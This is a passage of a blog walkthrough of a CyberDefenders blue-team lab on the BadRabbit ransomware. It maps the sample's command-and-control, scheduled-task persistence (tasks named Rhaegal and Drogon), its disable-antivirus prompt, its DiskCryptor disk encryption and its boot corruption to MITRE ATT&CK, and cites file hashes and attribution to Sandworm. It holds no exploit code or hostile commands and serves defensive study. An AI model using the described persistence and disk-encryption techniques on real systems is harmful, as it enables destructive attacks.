target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That gives us the answer to &lt;strong&gt;Question 5&lt;/strong&gt;. The ransomware&amp;rsquo;s command-and-control traffic is best described by &lt;strong&gt;T1071.001: Application Layer Protocol: Web Protocols&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;897px&#34; data-flex-grow=&#34;373&#34; height=&#34;214&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/1483f22022754215761421ae2c6cd634_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-persistence-mechanisms-are-a-hallmark-of-sophisticated-ransomware-identifying-how-persistence-was-achieved-can-aid-in-recovery-and-prevention-of-reinfection&#34;&gt;Question 6: Persistence mechanisms are a hallmark of sophisticated ransomware. Identifying how persistence was achieved can aid in recovery and prevention of reinfection.&#xA;&lt;/h3&gt;&lt;p&gt;What is the MITRE ATT&amp;amp;CK Sub-Technique ID associated with the ransomware&amp;rsquo;s persistence technique?&lt;/p&gt;&#xA;&lt;p&gt;Moving right along, we now need to determine how the ransomware maintains persistence on the compromised system. Continuing our pattern of pivoting between tools, let&amp;rsquo;s revisit the &lt;em&gt;Recorded Future Tria.ge&lt;/em&gt; report for the original &lt;em&gt;BadRabbit&lt;/em&gt; sample and take another look at the process tree.&lt;/p&gt;&#xA;&lt;p&gt;After execution and the dropping of &lt;code&gt;infpub.dat&lt;/code&gt;, we see a familiar sequence unfold. The malware spawns &lt;code&gt;cmd.exe&lt;/code&gt;, which in turn launches &lt;code&gt;schtasks.exe&lt;/code&gt;. This is the built-in Windows command-line utility used to create or modify scheduled tasks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/d2d940395da4f3ecbea965d628b4cea5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tria.ge: highlighting scheduled task creation for persistence&lt;/p&gt;&#xA;&lt;p&gt;That sequence is a strong indicator of a classic persistence mechanism. By creating a scheduled task, the malware ensures it can re-execute automatically, often on a timer or at system startup, without requiring user interaction.&lt;/p&gt;&#xA;&lt;p&gt;This behavior is documented in MITRE ATT&amp;amp;CK as the sub-technique &lt;strong&gt;Scheduled Task/Job: Scheduled Task&lt;/strong&gt; (&lt;em&gt;T1053.005&lt;/em&gt;). With that, we&amp;rsquo;ve answered &lt;strong&gt;Question 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  title=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Scheduled Task/Job: Scheduled Task&lt;/strong&gt;&#xA;_Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;989px&#34; data-flex-grow=&#34;412&#34; height=&#34;194&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/a4d855569e009e9c46af346a1be6695d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-as-part-of-its-infection-chain-the-ransomware-created-specific-tasks-to-ensure-its-continued-operation-recognizing-these-tasks-is-crucial-for-system-restoration-what-are-the-names-of-the-tasks-created-by-the-ransomware-during-execution&#34;&gt;Question 7: As part of its infection chain, the ransomware created specific tasks to ensure its continued operation. Recognizing these tasks is crucial for system restoration. What are the names of the tasks created by the ransomware during execution?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve confirmed that &lt;strong&gt;T1053.005&lt;/strong&gt; (&lt;em&gt;Scheduled Task&lt;/em&gt;) was used as the persistence mechanism, the next step is to determine the names of the scheduled tasks created by the ransomware. This detail matters, because knowing exactly what to look for can significantly speed up system restoration and cleanup.&lt;/p&gt;&#xA;&lt;p&gt;Luckily for us, this information is available in the same &lt;strong&gt;Recorded Future Tria.ge&lt;/strong&gt; process tree we used back in &lt;strong&gt;Question 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/94d238962be5eceacac03fc47a8c277e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tria.ge: Identifying the names of the scheduled tasks created by the ransomware&lt;/p&gt;&#xA;&lt;p&gt;Focusing on the process command-line arguments, we can clearly see both task creation and deletion events involving &lt;code&gt;schtasks.exe&lt;/code&gt;. The key field to look for is the &lt;code&gt;/TN&lt;/code&gt; argument, which specifies the task name being created or removed.&lt;/p&gt;&#xA;&lt;p&gt;Looking closely at these entries, two task names jump out. During execution, &lt;em&gt;BadRabbit&lt;/em&gt; creates scheduled tasks named &lt;code&gt;Rhaegal&lt;/code&gt; and &lt;code&gt;Drogon&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For anyone familiar with &lt;em&gt;Game of Thrones&lt;/em&gt;, these names might ring a bell. While the references are fun, they also make these tasks easier to spot during incident response, assuming you know what you&amp;rsquo;re looking for.&lt;/p&gt;&#xA;&lt;p&gt;With that, we&amp;rsquo;ve answered &lt;strong&gt;Question 7&lt;/strong&gt;. The ransomware creates scheduled tasks named &lt;code&gt;Rhaegal&lt;/code&gt; and &lt;code&gt;Drogon&lt;/code&gt; to maintain persistence.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1010px&#34; data-flex-grow=&#34;421&#34; height=&#34;190&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/3d7c9badf980e33cc45930636abd0456_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-malicious-binarydispciexedisplayed-asuspicious-messageupon-execution-urging-users-to-disable-their-defenses-this-tactic-aimed-to-evade-detection-and-enable-the-ransomwares-full-execution-what-suspicious-message-was-displayed-in-the-console-upon-executing-thisbinary&#34;&gt;Question 8: the malicious binary &lt;code&gt;dispci.exe&lt;/code&gt; displayed a &lt;strong&gt;suspicious message&lt;/strong&gt; upon execution, urging users to disable their defenses. This tactic aimed to evade detection and enable the ransomware&amp;rsquo;s full execution. What suspicious message was displayed in the Console upon executing this binary?&#xA;&lt;/h3&gt;&lt;p&gt;The next step in our analysis is to identify the console message displayed after executing another related malicious binary, &lt;code&gt;dispci.exe&lt;/code&gt;. We see this file referenced in the &lt;strong&gt;Recorded Future Tria.ge&lt;/strong&gt; report, but at this stage, we don&amp;rsquo;t yet have much detail on what it actually does.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;437px&#34; data-flex-grow=&#34;182&#34; height=&#34;439&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/edd7cd168bc385028c98d929abc5de7f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tria.ge: Identifying the process execution of dispci.exe&lt;/p&gt;&#xA;&lt;p&gt;To gather more context, let&amp;rsquo;s pivot back to &lt;strong&gt;VirusTotal&lt;/strong&gt; and look at the original &lt;strong&gt;BadRabbit&lt;/strong&gt; sample. Under &lt;strong&gt;Relations&lt;/strong&gt; → &lt;em&gt;Dropped Files&lt;/em&gt;, we can locate &lt;code&gt;dispci.exe&lt;/code&gt; and identify its file hash:&lt;/p&gt;&#xA;&lt;p&gt;0f815e2944f12b847e1165517daaab6be67ff4c1daee73b09e8fb3733b974c9f&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;699px&#34; data-flex-grow=&#34;291&#34; height=&#34;222&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/373e55eee65f988824918fdda9313f41_MD5.png&#34; width=&#34;647&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the file hash of dispci.exe&lt;/p&gt;&#xA;&lt;p&gt;With the hash in hand, we have a few options. We could download the binary from a malware repository for hands-on static analysis, move over to an interactive sandbox, or continue leaning on existing threat intelligence reporting.&lt;/p&gt;&#xA;&lt;p&gt;For this writeup, we&amp;rsquo;ll stick with &lt;em&gt;VirusTotal&lt;/em&gt; and see what&amp;rsquo;s already available.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;em&gt;Behaviors&lt;/em&gt; tab for &lt;code&gt;dispci.exe&lt;/code&gt;. From there, select the &lt;em&gt;Zenbox&lt;/em&gt; full sandbox report. One of the more useful features of this report is that it captures screenshots of the malware during execution, which can reveal user-facing behavior we might otherwise miss.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;378&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/a93928e4ed5a4ef725a9c25de3428730_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Opening the Zenbox sandbox report&lt;/p&gt;&#xA;&lt;p&gt;To illustrate this, select the Zenbox report and scroll down to the &lt;em&gt;Screenshots&lt;/em&gt; section at the bottom of the report.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;512px&#34; data-flex-grow=&#34;213&#34; height=&#34;375&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/96b20f2cc9fa22f6dc91f9241f91b608_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Zenbox: Reviewing execution screenshots&lt;/p&gt;&#xA;&lt;p&gt;This gives us exactly what we need to answer &lt;strong&gt;Question 8&lt;/strong&gt;. Upon execution, &lt;code&gt;dispci.exe&lt;/code&gt; displays the following message in the console:&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;Disable your anti-virus and anti-malware programs.&amp;ldquo;This prompt is another attempt at defense evasion through social engineering. By urging the victim to weaken or disable their security controls, the malware improves its chances of executing fully without being hindered by security tools.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/7654b1fc76d07a047677f8bdd66e2ac9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-to-modify-the-master-boot-record-mbr-and-encrypt-the-victims-hard-drive-the-ransomware-utilized-a-specific-driver-recognizing-this-driver-is-essential-for-understanding-the-encryption-mechanism&#34;&gt;Question 9: To modify the Master Boot Record (MBR) and encrypt the victim&amp;rsquo;s hard drive, the ransomware utilized a specific driver. Recognizing this driver is essential for understanding the encryption mechanism.&#xA;&lt;/h3&gt;&lt;p&gt;What is the name of the driver used to encrypt the hard drive and modify the MBR?&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 9&lt;/strong&gt;, we need to identify the specific driver used by the ransomware to encrypt the victim&amp;rsquo;s hard drive and modify the Master Boot Record. This driver is a critical part of the encryption chain, because it explains &lt;em&gt;how&lt;/em&gt; the ransomware is able to operate at a low level on the system.&lt;/p&gt;&#xA;&lt;p&gt;To get there, exit the &lt;em&gt;Behaviors&lt;/em&gt; tab and navigate to the &lt;em&gt;Details&lt;/em&gt; page for &lt;code&gt;dispci.exe&lt;/code&gt; in &lt;em&gt;VirusTotal&lt;/em&gt;. This view exposes metadata about the binary.&lt;/p&gt;&#xA;&lt;p&gt;Under &lt;em&gt;Signature Info&lt;/em&gt; → &lt;em&gt;File Version Information&lt;/em&gt;, we see that &lt;code&gt;dispci.exe&lt;/code&gt; is associated with &lt;a class=&#34;link&#34; href=&#34;https://diskcryptor.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DiskCryptor&lt;/strong&gt;&lt;/a&gt;. This attribution is reinforced by the metadata copyright information embedded in the binary, which points back to the &lt;em&gt;DiskCryptor&lt;/em&gt; project.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;744px&#34; data-flex-grow=&#34;310&#34; height=&#34;258&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/c238a5b59aca66bbf181f29c546ebde4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Looking for driver clues on the behaviors tab&lt;/p&gt;&#xA;&lt;p&gt;According to the project description, &amp;ldquo;DiskCryptor is an open encryption solution that offers encryption of all disk partitions, including the system partition.&amp;ldquo;That tells us exactly what we need for &lt;strong&gt;Question 9&lt;/strong&gt;. The ransomware leverages the &lt;em&gt;DiskCryptor&lt;/em&gt; driver to perform full disk encryption and modify the Master Boot Record. With that, we can confidently answer &lt;strong&gt;Question 9&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;984px&#34; data-flex-grow=&#34;410&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/87b06142141f473408eeb8b8cd266ef3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-attribution-is-key-to-understanding-the-threat-landscape-the-ransomware-was-tied-to-a-known-attack-group-through-its-tactics-techniques-and-procedures-ttps&#34;&gt;Question 10: Attribution is key to understanding the threat landscape. The ransomware was tied to a known attack group through its tactics, techniques, and procedures (TTPs).&#xA;&lt;/h3&gt;&lt;p&gt;What is the name of the threat actor responsible for this ransomware campaign?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re closing in on the end of our analysis, and now it&amp;rsquo;s time to look beyond tools and techniques and focus on attribution. The question here isn&amp;rsquo;t about the nitty-gritty details of how the ransomware works anymore, but who is historically tied to this campaign based on shared tactics, techniques, and procedures.&lt;/p&gt;&#xA;&lt;p&gt;To do that, let&amp;rsquo;s pivot away from sandboxing platforms and threat execution data and move into a dedicated malware knowledge base: &lt;a class=&#34;link&#34; href=&#34;https://malpedia.caad.fkie.fraunhofer.de&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malpedia&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Malpedia&lt;/em&gt; is an excellent resource for tying malware families to known threat actors and for surfacing a ton of great external reporting in one place. From the home page, search for &lt;em&gt;BadRabbit&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;600px&#34; data-flex-grow=&#34;250&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/b91098823759a52201076dd4da01f0d5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Malpedia: Identifying actors associated with Bad Rabbit&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya&#34;  title=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;EternalPetya (Malware Family)&lt;/strong&gt;&#xA;_According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of&amp;hellip;_malpedia.caad.fkie.fraunhofer.de&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away, we can locate the &lt;em&gt;BadRabbit&lt;/em&gt; entry, where it&amp;rsquo;s described as a ransomware family closely related to &lt;em&gt;Petya&lt;/em&gt; and &lt;em&gt;NotPetya&lt;/em&gt;. This aligns with what we&amp;rsquo;ve already observed throughout the challenge, especially the disk-level encryption behavior and file hashes.&lt;/p&gt;&#xA;&lt;p&gt;Scrolling further, &lt;em&gt;Malpedia&lt;/em&gt; lists multiple attribution assessments sourced from external intelligence vendors. One threat actor stands out as the most consistently associated with &lt;em&gt;BadRabbit&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/groups/G0034/&#34;  title=&#34;https://attack.mitre.org/groups/G0034/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sandworm Team&lt;/strong&gt;&#xA;_In October 2020, the US indicted six GRU Unit 74455 officers associated with Sandworm Team for the following cyber&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/groups/G0034/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Sandworm&lt;/em&gt; is a well-documented threat group linked to destructive campaigns targeting critical infrastructure and large organizations, and it&amp;rsquo;s commonly associated with &lt;em&gt;NotPetya&lt;/em&gt; and related ransomware operations.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;989px&#34; data-flex-grow=&#34;412&#34; height=&#34;194&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/1fb0fe5cc6d66fab6f80f2d6ea010b6c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-the-ransomware-rendered-the-system-unbootable-by-corrupting-critical-system-components-identifying-the-technique-used-provides-insight-into-its-destructive-capabilities&#34;&gt;Question 11: The ransomware rendered the system unbootable by corrupting critical system components. Identifying the technique used provides insight into its destructive capabilities.&#xA;&lt;/h3&gt;&lt;p&gt;What is the MITRE ATT&amp;amp;CK ID for the technique used to corrupt the system firmware and prevent booting?&lt;/p&gt;&#xA;&lt;p&gt;Finally, we&amp;rsquo;ve made it to the last question. Our closing task is to identify the MITRE ATT&amp;amp;CK technique used by the ransomware to render the victim system unbootable.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;strong&gt;Question 9&lt;/strong&gt;, we know that &lt;em&gt;DiskCryptor&lt;/em&gt; was used to encrypt the hard drive and modify the Master Boot Record. From the question, we can infer that that outcome is that on top of the data being encrypted, the system is left unable to boot normally.&lt;/p&gt;&#xA;&lt;p&gt;Rather than speculate, let&amp;rsquo;s check out the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; software page for &lt;em&gt;BadRabbit&lt;/em&gt; to confirm which &lt;em&gt;Impact&lt;/em&gt; technique MITRE themselves associate with this behavior.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0606/&#34;  title=&#34;https://attack.mitre.org/software/S0606/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Bad Rabbit&lt;/strong&gt;&#xA;_Bad Rabbit is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. Bad Rabbit has&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0606/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking at the listed techniques, one maps directly to the effect described in the question. &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1495/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Firmware Corruption&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;T1495&lt;/em&gt;) is documented as a technique used to damage critical boot components in order to prevent a system from starting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;425px&#34; data-flex-grow=&#34;177&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/579a0cda3ebf8c03f12a8fcdc1a6a6c8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MITRE ATT&amp;amp;CK: Identifying Bad Rabbit destructive impact techniques&lt;/p&gt;&#xA;&lt;p&gt;MITRE explicitly lists &lt;strong&gt;T1495&lt;/strong&gt; as an &lt;em&gt;Impact&lt;/em&gt; technique associated with &lt;em&gt;BadRabbit&lt;/em&gt;, reflecting the ransomware&amp;rsquo;s ability to overwrite boot-related disk structures and leave systems unbootable. That gives us our final answer.&lt;/p&gt;&#xA;&lt;p&gt;With that, we&amp;rsquo;ve completed the analysis, from initial infection through destructive impact and now we can wrap up our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;989px&#34; data-flex-grow=&#34;412&#34; height=&#34;194&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/1ed64d31f29e78577ece10e5428b0b36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;So, how fun was that? A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This lab ended up being a good reminder that there&amp;rsquo;s rarely a single tool, report, or source of truth that magically answers every question. As much as we&amp;rsquo;d all like a one-stop solution for threat intelligence, the reality is that investigations often turn into a bit of a research slog. Not because the answers are impossible to find, but because they live across multiple platforms, formats, and perspectives.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll be honest, I expected this challenge to go a bit faster. Instead, it slowed me down in a good way. It forced me to stop, pivot between tools, reframe questions, and validate instead of jumping straight to conclusions. It&amp;rsquo;s a realistic (if frustrating) experience, mirroring how real investigations go, especially when you&amp;rsquo;re operating under constraints and relying on publicly available intelligence.&lt;/p&gt;&#xA;&lt;p&gt;From my perspective, the real value here comes from tying different sources together and being exposed to different tools. Interactive sandboxes like &lt;strong&gt;Recorded Future Tria.ge&lt;/strong&gt; and &lt;strong&gt;Any.Run&lt;/strong&gt; gave us a safe way to observe behavior as it unfolded. Static and reports in &lt;strong&gt;VirusTotal&lt;/strong&gt; helped ground and validate those observations with hashes, relationships, and community context. External reporting and curated knowledge bases like &lt;strong&gt;Malpedia&lt;/strong&gt; added context and attribution that raw analysis alone didn&amp;rsquo;t show. None of these tools were sufficient on their own, but together they painted a much clearer picture.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Urget Contract Action.pdf.exe) —&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Recorded Future Tria.ge (Urgent Contract Action.pdf.exe):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/251107-yd3m1ahm6v/behavioral1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    